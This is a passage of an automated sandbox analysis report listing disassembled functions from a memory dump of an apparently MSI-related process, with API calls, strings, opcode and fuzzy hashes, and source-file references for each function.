___TypeMatch.LIBVCRUNTIME ref: 00AFB459
_UnwindNestedFrames.LIBCMT ref: 00AFB5AB
CallUnexpected.LIBVCRUNTIME ref: 00AFB5C6

Strings

csm, xrefs: 00AFB269
csm, xrefs: 00AFB2D6
csm, xrefs: 00AFB382

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: ae007ea8b452dd58eedf77551b00db4af0a64da59b462a003df2941824259db9
Instruction ID: e2362095ff389db7d2b9cd421c508504d44f2759c9a3f72f7d42526d31c5c1ef
Opcode Fuzzy Hash: ae007ea8b452dd58eedf77551b00db4af0a64da59b462a003df2941824259db9
Instruction Fuzzy Hash: BDB1897181021DEFCF14DFE4C9819BEBBB5BF14310B14415AFA166B212C735DA61CBA2

Function 00AE0260 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 269memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00AE0322
LocalAlloc.KERNEL32(00000040,?), ref: 00AE0367
___std_exception_copy.LIBVCRUNTIME ref: 00AE03DE
LocalFree.KERNEL32(?), ref: 00AE041B
LocalFree.KERNEL32(?,?,?,?,?,6E9B59AC,6E9B59AC,?,?), ref: 00AE0546

Strings

ios_base::failbit set, xrefs: 00AE04B2
iostream, xrefs: 00AE05A0

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Local$AllocFree$___std_exception_copy
String ID: ios_base::failbit set$iostream
API String ID: 2276494016-302468714
Opcode ID: 7947cb2c3e73bd599d48c44309cc1d33030ff3f23874c3723e3ec958366c3233
Instruction ID: 2681f9a274739714facb0f85b31e3406296e8131f42c71659fa918f4a7bc56b2
Opcode Fuzzy Hash: 7947cb2c3e73bd599d48c44309cc1d33030ff3f23874c3723e3ec958366c3233
Instruction Fuzzy Hash: 44A1A3B1D00249DFDB08DFA9D985BAEFBB5FB48310F10825DE915AB391DB709980CB91

Function 00AD2BD0 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

#224.MSI(?,00000001,00000000,00000000,00000000), ref: 00AD2C43
LocalFree.KERNEL32(?), ref: 00AD2CA2
LocalFree.KERNEL32(?), ref: 00AD2D0C
CertFreeCertificateContext.CRYPT32(00000000), ref: 00AD2E94

Part of subcall function 00AD3D60: CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 00AD3DA3

LocalFree.KERNEL32(?), ref: 00AD2E13
LocalFree.KERNEL32(?), ref: 00AD2E6B

Strings

<k, xrefs: 00AD2C43

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Free$Local$Cert$#224CertificateContextNameString
String ID: <k
API String ID: 2665452496-3292231144
Opcode ID: b048d5c17c0039fd38d184eeeb9ac0e0c1beab54ada5308d34e5b33fb5359939
Instruction ID: 712b069393e2000414ac10c8fa285d8d655338c4837ce565202a53a8c8874149
Opcode Fuzzy Hash: b048d5c17c0039fd38d184eeeb9ac0e0c1beab54ada5308d34e5b33fb5359939
Instruction Fuzzy Hash: 92918E70910249CFDB18CFA8C55879EFBB1FF94304F24861ED456AB391DBB5AA84CB50

Function 00ADBA30 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000044,6E9B59AC,?,00000000), ref: 00ADBA8B
std::_Lockit::_Lockit.LIBCPMT ref: 00ADBAC8
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADBB35
__Getctype.LIBCPMT ref: 00ADBB7E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADBBF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBCAF

Strings

bad locale name, xrefs: 00ADBCCD

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: 81665f490b674860e9af1de934ada27682bae1208884b1f44b795a6bf9a50515
Instruction ID: c3fa5e4e3efc73150d06ca0ebf71bf0fc5debd0f63b0c4101ed56d8aabbe1b71
Opcode Fuzzy Hash: 81665f490b674860e9af1de934ada27682bae1208884b1f44b795a6bf9a50515
Instruction Fuzzy Hash: 3E8193B1D14388DFEB20CFA8CA4579EBBF4BF14314F148199D445AB382EB759A44CB61

Function 00ADC220 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 170memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000018,6E9B59AC,?,00000000,?,?,?,?,?,?,?,00000000,00B1ABC5,000000FF), ref: 00ADC264
std::_Lockit::_Lockit.LIBCPMT ref: 00ADC29E
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADC302
__Getctype.LIBCPMT ref: 00ADC34B
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADC391
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADC445

Strings

bad locale name, xrefs: 00ADC460

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocGetctypeLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 3635123611-1405518554
Opcode ID: ddf36345b7e718d9a5cc6863041e5eae4e3693b4a79504a3780d6f65bcff5c90
Instruction ID: 70db40b0f0107cdcf81aea89cb60124e72b657a1795c2eb7d08c376bdc39cc16
Opcode Fuzzy Hash: ddf36345b7e718d9a5cc6863041e5eae4e3693b4a79504a3780d6f65bcff5c90
Instruction Fuzzy Hash: 74618FB0D01288EFEB10DFE8C6497DEBBF4AF15314F148199E455AB381D7B59A08CB51

Function 00AF743E Relevance: 12.2, APIs: 8, Instructions: 224COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?), ref: 00AF74C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00AF7557
__alloca_probe_16.LIBCMT ref: 00AF7581
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00AF75C9
MultiByteToWideChar.KERNEL32(?,00000009,?,?,00000000,00000000), ref: 00AF75E3
__alloca_probe_16.LIBCMT ref: 00AF7609
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00AF7646
CompareStringEx.KERNEL32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 00AF7663

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ByteCharMultiWide$__alloca_probe_16$CompareInfoString
String ID:
API String ID: 3603178046-0
Opcode ID: 598cec2fd1afd996df3bce5f69329612f2eb058bc739864ca5cfb570ff301343
Instruction ID: f9d7fb0bb048cd908fbade603580ab0b2463ec7dd11f25d12d4f653c77af3a59
Opcode Fuzzy Hash: 598cec2fd1afd996df3bce5f69329612f2eb058bc739864ca5cfb570ff301343
Instruction Fuzzy Hash: 9F71807290865EABDF219FE8CC55AFE7BB6AF49354F284025FA05E7150DB35C801CB60

Function 00AF6F23 Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,CCCCCCCC,00ADC6DF,?,00000001,00000000,?,00000000,?,00ADC6DF,?), ref: 00AF6F6C
__alloca_probe_16.LIBCMT ref: 00AF6F98
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,00000000,?,00ADC6DF,?,?,00000000,00ADCCD3,0000003F,?), ref: 00AF6FD7
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00ADC6DF,?,?,00000000,00ADCCD3,0000003F), ref: 00AF6FF4
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000000,?,00ADC6DF,?,?,00000000,00ADCCD3,0000003F), ref: 00AF7033
__alloca_probe_16.LIBCMT ref: 00AF7050
LCMapStringEx.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00ADC6DF,?,?,00000000,00ADCCD3,0000003F), ref: 00AF7092
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,?,00000000,00000000,?,00ADC6DF,?,?,00000000,00ADCCD3,0000003F,?), ref: 00AF70B5

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: 6dae7cbe74436767421f0cd2559242bb7d717d0bd046d3c72b82af00da21ff4c
Instruction ID: 0f3b8688d37c40578282b9e608974702d186afe29f713ef8fa62ae8621897285
Opcode Fuzzy Hash: 6dae7cbe74436767421f0cd2559242bb7d717d0bd046d3c72b82af00da21ff4c
Instruction Fuzzy Hash: 98519C7290420AABEB209FA4DC45FBF7BA9EF44790F214129FA05A7190DF319D108B60

Function 00AD5940 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 389fileCOMMON

Download Yara Rule

APIs

GetTempFileNameW.KERNEL32(?,URL,00000000,?,6E9B59AC,?,00000004), ref: 00AD59AA
LocalFree.KERNEL32(?), ref: 00AD5ABB
MoveFileW.KERNEL32(?,00000000), ref: 00AD5D5B
DeleteFileW.KERNEL32(?), ref: 00AD5DA3

Strings

url, xrefs: 00AD5ADC, 00AD5D86
URL, xrefs: 00AD59A4, 00AD5D8B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: File$DeleteFreeLocalMoveNameTemp
String ID: URL$url
API String ID: 1622375482-346267919
Opcode ID: 7dca5824a142034ea8e04d93d51f56677eb9a1bb61d4854a4653491093788559
Instruction ID: e523cd69efb788f92faac990b90c0bd571883e6ce6389b3766129e58d99791e2
Opcode Fuzzy Hash: 7dca5824a142034ea8e04d93d51f56677eb9a1bb61d4854a4653491093788559
Instruction Fuzzy Hash: 16025970E146699BCB24DF28CD98BADB7B5BF54304F1042DAD40AA7251EB74ABC4CF90

Function 00ADF5E0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 189memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000000C,6E9B59AC,?,00000000,00000000,?,?,?,?,00000000,00B1B2D1,000000FF,?,00ADEBCA,00000000), ref: 00ADF624
std::_Lockit::_Lockit.LIBCPMT ref: 00ADF65A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADF6BE
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADF77E
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADF832

Strings

bad locale name, xrefs: 00ADF84E

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: 03a6ee4bbc7178ac0bad974f9b64aa6c0c323efc2ee734e336ad83c2ff919c7e
Instruction ID: d4eec54bc95dc9bc0f913f7698ea0f659293910892bd3fce34725603afa4b5ca
Opcode Fuzzy Hash: 03a6ee4bbc7178ac0bad974f9b64aa6c0c323efc2ee734e336ad83c2ff919c7e
Instruction Fuzzy Hash: A9717DB0D01288EEEF11DFA8C9847DEBBF4AF15314F1441AAE415AB381D7B59A04DBA1

Function 00ADF3B0 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,6E9B59AC,?,00000000,00000000,?,?,?,00000000,00B1B1DD,000000FF,?,00ADED0A,00000000,?), ref: 00ADF3F4
std::_Lockit::_Lockit.LIBCPMT ref: 00ADF42A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00ADF48E
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 00ADF4FE
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADF5B2

Strings

bad locale name, xrefs: 00ADF5CE

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Locinfo::_Lockit$AllocLocalLocinfo_ctorLocinfo_dtorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2968629171-1405518554
Opcode ID: 0d71e64e9b7aadfa5018ce978c8f834b792959ada42e05c5681bee95b72f0d91
Instruction ID: 4ebf4506cc0a72f216b04e73ba37c14ad65d36633ba63cfc9a707f3e10809a5f
Opcode Fuzzy Hash: 0d71e64e9b7aadfa5018ce978c8f834b792959ada42e05c5681bee95b72f0d91
Instruction Fuzzy Hash: E0617EB0D01288EEEF10CFA9DA487DEBBF4AF14314F1441AAE455AB381D7759B04CB61

Function 00AF8D30 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00AF8D67
___except_validate_context_record.LIBVCRUNTIME ref: 00AF8D6F
_ValidateLocalCookies.LIBCMT ref: 00AF8DF8
__IsNonwritableInCurrentImage.LIBCMT ref: 00AF8E23
_ValidateLocalCookies.LIBCMT ref: 00AF8E78

Strings

csm, xrefs: 00AF8E0D

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: de08907287f7aeb9b9439dc2878629cca7e5b2ace03005ecbf50d87ce30d5f5a
Instruction ID: 7a1051feab6d3de09fc6484c09e5e10dc4dc7d05c0c3f6dd00d6daa7dfd08f2a
Opcode Fuzzy Hash: de08907287f7aeb9b9439dc2878629cca7e5b2ace03005ecbf50d87ce30d5f5a
Instruction Fuzzy Hash: 8741A734A0020CDFCF10DFA8C885AAE7BB6AF45314F148455FA149B392DB35DA01CB91

Function 00B0C96B Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00B0CA78,?,?,?,00000000,?,?,00B0CCA2,00000021,FlsSetValue,00B21E00,00B21E08,?), ref: 00B0CA2C

Strings

api-ms-, xrefs: 00B0C9C2
ext-ms-, xrefs: 00B0C9D6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: e77982faeacdd7182243b30b9a09be0334274174f8ef6cb754bc3dcfc201baf6
Instruction ID: 2249179914c16eaab8703bb19b94facf1a5b0aa75f2c68421e9e1a5f53f6e853
Opcode Fuzzy Hash: e77982faeacdd7182243b30b9a09be0334274174f8ef6cb754bc3dcfc201baf6
Instruction Fuzzy Hash: 7A21D832B01215ABC722D7A5AC54B9A3FD8DB557A0F750390ED05B72E0EB30ED01C6A0

Function 00AED8F6 Relevance: 9.4, APIs: 6, Instructions: 433COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AED8FD
ctype.LIBCPMT ref: 00AED944

Part of subcall function 00AED458: __Getctype.LIBCPMT ref: 00AED467

Part of subcall function 00AE79C9: __EH_prolog3.LIBCMT ref: 00AE79D0
Part of subcall function 00AE79C9: std::_Lockit::_Lockit.LIBCPMT ref: 00AE79DA
Part of subcall function 00AE79C9: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7A4B

Part of subcall function 00AE7AF3: __EH_prolog3.LIBCMT ref: 00AE7AFA
Part of subcall function 00AE7AF3: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7B04
Part of subcall function 00AE7AF3: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7B75

Part of subcall function 00AE7CB2: __EH_prolog3.LIBCMT ref: 00AE7CB9
Part of subcall function 00AE7CB2: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7CC3
Part of subcall function 00AE7CB2: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7D34

Part of subcall function 00AE7C1D: __EH_prolog3.LIBCMT ref: 00AE7C24
Part of subcall function 00AE7C1D: std::_Lockit::_Lockit.LIBCPMT ref: 00AE7C2E
Part of subcall function 00AE7C1D: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7C9F

Part of subcall function 00AE4403: __EH_prolog3.LIBCMT ref: 00AE440A
Part of subcall function 00AE4403: std::_Lockit::_Lockit.LIBCPMT ref: 00AE4414
Part of subcall function 00AE4403: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE44BB

collate.LIBCPMT ref: 00AEDA78
numpunct.LIBCPMT ref: 00AEDCF2

Part of subcall function 00AE838F: __EH_prolog3.LIBCMT ref: 00AE8396

Part of subcall function 00AE80C5: __EH_prolog3.LIBCMT ref: 00AE80CC
Part of subcall function 00AE80C5: std::_Lockit::_Lockit.LIBCPMT ref: 00AE80D6
Part of subcall function 00AE80C5: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE8147

Part of subcall function 00AE81EF: __EH_prolog3.LIBCMT ref: 00AE81F6
Part of subcall function 00AE81EF: std::_Lockit::_Lockit.LIBCPMT ref: 00AE8200
Part of subcall function 00AE81EF: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE8271

Part of subcall function 00AE4403: Concurrency::cancel_current_task.LIBCPMT ref: 00AE44C6

Part of subcall function 00AE75B6: __EH_prolog3.LIBCMT ref: 00AE75BD
Part of subcall function 00AE75B6: std::_Lockit::_Lockit.LIBCPMT ref: 00AE75C7
Part of subcall function 00AE75B6: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE7638

__Getcoll.LIBCPMT ref: 00AEDAB8

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

Part of subcall function 00AD84C0: LocalAlloc.KERNEL32(00000040,00000000,00AF839D,00000000,6E9B59AC,?,00000000,?,00000000,?,00B1CB8D,000000FF,?,00AD17D5,00000000,00B1D3BA), ref: 00AD84C6

codecvt.LIBCPMT ref: 00AEDDA3

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3$Lockit::_Lockit::~_$AllocConcurrency::cancel_current_taskGetcollGetctypeLocalcodecvtcollatectypenumpunct
String ID:
API String ID: 613171289-0
Opcode ID: 57a24d5103e952770e2af8a971bc08969255abe7a2ae34bb141a37e5bc13add1
Instruction ID: cb598b18f777bfcc9659dcdeb01038e17b2e355d686953c0cbaa5ceb8fc1887a
Opcode Fuzzy Hash: 57a24d5103e952770e2af8a971bc08969255abe7a2ae34bb141a37e5bc13add1
Instruction Fuzzy Hash: 3BE1F3B19002869FDB11AFA68D026BF7EB9FF45390F25446EF8596B381EF308D109791

Function 00AED8F2 Relevance: 9.3, APIs: 6, Instructions: 346COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AED8FD
ctype.LIBCPMT ref: 00AED944

Part of subcall function 00AED458: __Getctype.LIBCPMT ref: 00AED467

collate.LIBCPMT ref: 00AEDA78
__Getcoll.LIBCPMT ref: 00AEDAB8

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

Part of subcall function 00AD84C0: LocalAlloc.KERNEL32(00000040,00000000,00AF839D,00000000,6E9B59AC,?,00000000,?,00000000,?,00B1CB8D,000000FF,?,00AD17D5,00000000,00B1D3BA), ref: 00AD84C6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$AllocGetcollGetctypeH_prolog3LocalLockit::_Lockit::~_collatectype
String ID:
API String ID: 735909071-0
Opcode ID: 18ad3092a563a5177383fe28207b76f441aa1fb9845e4bdcad55ace4bf523fb8
Instruction ID: faa54a05d644ed33956b572e82424ecf7740f33ab1568009893c8a9be276b350
Opcode Fuzzy Hash: 18ad3092a563a5177383fe28207b76f441aa1fb9845e4bdcad55ace4bf523fb8
Instruction Fuzzy Hash: D6C1D2B190028ADFCB11AFA68D026BF7EB5FF44390F25452EE9596B381EF708900C791

Function 00ADB500 Relevance: 9.2, APIs: 6, Instructions: 152COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00ADB52D
std::_Lockit::_Lockit.LIBCPMT ref: 00ADB550
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB578
std::_Facet_Register.LIBCPMT ref: 00ADB5ED
std::_Lockit::~_Lockit.LIBCPMT ref: 00ADB617
LocalFree.KERNEL32 ref: 00ADB6C0

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

